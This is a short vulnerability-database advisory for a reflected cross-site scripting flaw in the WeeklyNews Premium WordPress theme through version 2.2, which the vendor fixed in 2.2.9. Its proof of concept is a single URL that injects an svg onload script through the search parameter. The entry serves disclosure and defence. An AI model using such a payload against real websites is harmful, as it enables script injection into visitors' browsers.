WeeklyNews Premium Theme <= 2.2 - Cross-Site Scripting (XSS)



Description
Vendor confirmed fixed in as 2.2.9 although this issue was not mentioned in the changelog.
Proof of Concept
http://www.example.com/?s=test"><svg+onload%3Dalert(/ptsx/)>

Affects Theme

fixed in version 2.2.9

References

URL http://themeforest.net/item/weekly-news-wordpress-newsmagazine-theme/9214110

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ptsx
Views 250
Verified No
WPVDB ID 7957

Timeline

Publicly Published 2015-05-03 (over 3 years ago)
Added 2015-05-04 (over 3 years ago)
Last Updated 2015-12-20 (almost 3 years ago)

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